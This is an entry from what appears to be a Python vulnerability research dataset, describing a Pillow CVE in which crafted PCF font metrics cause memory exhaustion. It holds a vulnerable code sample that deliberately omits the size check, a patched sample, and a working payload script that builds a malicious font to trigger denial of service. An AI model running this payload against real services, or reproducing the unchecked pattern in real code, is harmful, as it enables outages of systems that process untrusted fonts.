VAITP Dataset

← Back to the dataset

CVE-2026-54059

Pillow is vulnerable to memory exhaustion via a crafted PCF font file.

  • CVSS 7.5
  • CWE-789
  • Resource Management
  • Local

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.

CVSS base score
7.5
Published
2026-07-06
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Local
Impact
Denial of Service (DoS)
Affected component
Pillow
Fixed by upgrading
Yes

Solution

Upgrade Pillow to version 12.3.0 or later.

Vulnerable code sample

import PIL.Image

class PcfFontFile:
    def _load_bitmaps(self, fp):
        # In the real code, these values would be read from the file stream `fp`.
        # For this demonstration, they are hardcoded to represent malicious data.
        glyph_width = 65535
        glyph_height = 65535
        glyph_data = b'\x00'

        # The following call passes the large dimensions directly to frombytes()
        # without a prior decompression bomb check, causing excessive memory
        # allocation when processing a crafted PCF font file.
        im = PIL.Image.frombytes("1", (glyph_width, glyph_height), glyph_data)

        # The code would then continue to process the 'im' object.
        self.glyph = [(None, None, im)]

Patched code sample

import PIL.Image

def _load_bitmaps_fixed(self, metrics, nbitmaps, bitmap_size):
    """
    A simplified representation of the fixed _load_bitmaps function
    from Pillow's PcfFontFile.py, demonstrating the security fix.

    In the original library:
    - 'self' is an instance of the PcfFontFile class.
    - 'metrics' is a list of glyph metric tuples read from the font file.
    - 'nbitmaps' is the total number of glyphs.
    - 'self.fp' is the file pointer to the font file.
    """
    # In a real scenario, self.glyph would be initialized as an empty list.
    self.glyph = []

    for i in range(nbitmaps):
        # The dimensions (width, height) of the glyph are read from the metrics.
        # A malicious font could specify extremely large dimensions here.
        glyph_size = (metrics[i][2], metrics[i][3])

        # --- THE FIX ---
        # This check was added to validate the glyph dimensions before memory is
        # allocated. It prevents a decompression bomb attack by raising an
        # exception if the required memory exceeds a safe limit.
        # This line was missing in the vulnerable version.
        PIL.Image._decompression_bomb_check(glyph_size)
        # --- END OF FIX ---

        # This call is now safe because glyph_size has been validated.
        # In the vulnerable code, this could lead to excessive memory allocation.
        # bitmap_data = self.fp.read(bitmap_size[i]) # Reading from the file
        # self.glyph.append(
        #     PIL.Image.frombytes("1", glyph_size, bitmap_data)
        # )

Payload

import struct
import io
from PIL import ImageFont

PCF_METRICS = 1 << 2
PCF_BITMAPS = 1 << 3
PCF_DEFAULT_FORMAT = 0x00000000

header = b"\x01fcp" + struct.pack("<I", 2)

metrics_data = (
    struct.pack("<I", 0) + 
    struct.pack("<H", 1) + 
    struct.pack("<hhhhhH", -32768, 32767, 0, 32767, 32767, 0)
)
metrics_size = len(metrics_data)

bitmaps_section = (
    struct.pack("<II", PCF_DEFAULT_FORMAT, 1) + 
    struct.pack("<I", 0) + 
    struct.pack("<I", 1) + 
    b"\x00"
)
bitmaps_size = len(bitmaps_section)

toc_and_header_size = 4 + 4 + (4 * 4 * 2)
metrics_offset = toc_and_header_size
bitmaps_offset = metrics_offset + metrics_size

toc = b""
toc += struct.pack("<IIII", PCF_METRICS, PCF_DEFAULT_FORMAT, metrics_size, metrics_offset)
toc += struct.pack("<IIII", PCF_BITMAPS, PCF_DEFAULT_FORMAT, bitmaps_size, bitmaps_offset)

pcf_payload = header + toc + metrics_data + bitmaps_section
font_file = io.BytesIO(pcf_payload)

font = ImageFont.load(font_file)

Cite this entry

@misc{vaitp:cve202654059,
  title        = {{Pillow is vulnerable to memory exhaustion via a crafted PCF font file.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54059},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54059/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::